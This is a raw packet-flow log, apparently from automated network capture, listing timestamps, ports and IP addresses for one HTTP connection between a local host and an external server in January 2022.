Jan 14, 2022 01:51:31.980726957 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980766058 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980766058 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980806112 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980845928 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980845928 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980884075 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980922937 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980927944 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980962038 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980998993 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.981003046 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.981039047 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.981077909 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.981081009 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.981117964 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.981158018 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.981159925 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.981197119 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.981239080 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032182932 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032241106 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032279015 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032291889 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032318115 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032356024 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032358885 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032396078 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032437086 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032437086 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032475948 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032516003 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032516956 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032555103 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032593012 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032594919 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032633066 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032671928 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032672882 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032713890 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032752037 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032752991 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032790899 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032825947 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032829046 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032867908 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032906055 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032907009 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.032943964 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032983065 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.032984972 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033021927 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033061028 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033062935 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033099890 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033138037 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033139944 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033179045 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033215046 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033217907 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033257008 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033293962 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033296108 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033334970 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033370972 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033375025 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033413887 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033452034 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033453941 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033493996 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033531904 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033531904 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033571005 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033608913 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033611059 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033651114 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033689022 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033690929 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033726931 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033766985 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033783913 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033817053 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033870935 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033890009 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033930063 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.033967972 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.033968925 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.034008980 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.034048080 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.034048080 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.034087896 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.034131050 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.084732056 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.084789038 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.084826946 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.084840059 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.084867001 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.084906101 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.084909916 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.084947109 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.084985971 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.084986925 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085022926 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085062027 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085067987 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085100889 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085139036 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085141897 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085176945 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085227966 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085231066 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085270882 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085311890 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085316896 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085349083 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085390091 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085391045 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085428953 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085465908 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085469007 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085505962 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085544109 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085557938 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085583925 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085623980 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085625887 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085659981 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085700035 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085702896 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085740089 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085776091 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085793018 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085817099 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085869074 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085884094 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085923910 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.085963011 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.085963964 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086004019 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086040974 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086045980 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.086081028 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086119890 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086121082 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.086158991 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086199999 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086201906 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.086240053 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086278915 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.086278915 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086318970 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086355925 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086360931 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.086395979 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086432934 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086436987 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.086473942 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086513042 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.086515903 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086553097 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086592913 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086596966 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.086631060 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.086672068 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.138197899 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138257027 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138350010 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138381004 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.138392925 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138432980 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138464928 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.138473034 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138514996 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138550997 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.138552904 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138592958 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138608932 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.138632059 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138669968 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138710022 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138739109 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.138748884 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138788939 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138814926 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.138828993 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138864040 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.138869047 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138907909 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138947010 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138986111 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.138986111 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139024973 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139065027 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139091969 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139103889 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139143944 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139180899 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139182091 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139224052 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139265060 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139312029 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139318943 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139350891 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139379025 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139389038 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139405966 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139429092 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139470100 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139483929 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139508009 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139547110 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139559984 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139586926 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139624119 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139627934 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139663935 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139703035 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139712095 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139743090 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139782906 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139787912 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139818907 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139858961 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139861107 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139898062 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139935970 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.139941931 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.139975071 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.140012980 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.140017986 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.140053034 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.140091896 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.140095949 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.140129089 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.140172005 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.193002939 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193057060 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193099022 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193139076 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193176985 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193219900 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193250895 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.193269014 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193308115 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193336964 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.193346977 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193386078 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193423986 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193459034 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.193464994 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193504095 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193543911 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193558931 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.193587065 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193627119 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193665028 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.193691015 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193731070 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193733931 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.193768024 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193808079 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193845034 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.193885088 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193926096 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.193947077 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.193970919 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194013119 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194052935 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194060087 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194092035 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194133997 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194169044 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194171906 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194224119 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194277048 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194289923 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194328070 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194328070 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194367886 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194394112 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194411039 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194442034 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194483995 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194505930 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194520950 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194560051 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194578886 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194598913 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194622040 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194638968 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194679022 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194679022 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194716930 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194755077 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194793940 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194796085 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194830894 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194870949 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194897890 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194910049 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194950104 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194967985 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.194991112 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.194999933 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.195050955 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.246231079 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246301889 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246347904 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246361971 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.246397972 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246445894 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246448994 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.246494055 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246541977 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246568918 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.246586084 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246629000 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246643066 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.246676922 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246720076 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246737003 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.246763945 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246808052 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246823072 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.246851921 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246896982 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246911049 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.246943951 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246994019 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.246999025 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247042894 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247091055 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247098923 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247143030 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247189045 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247203112 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247237921 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247291088 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:32.247297049 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:32.247344017 CET	80	49823	93.189.42.167	192.168.2.3
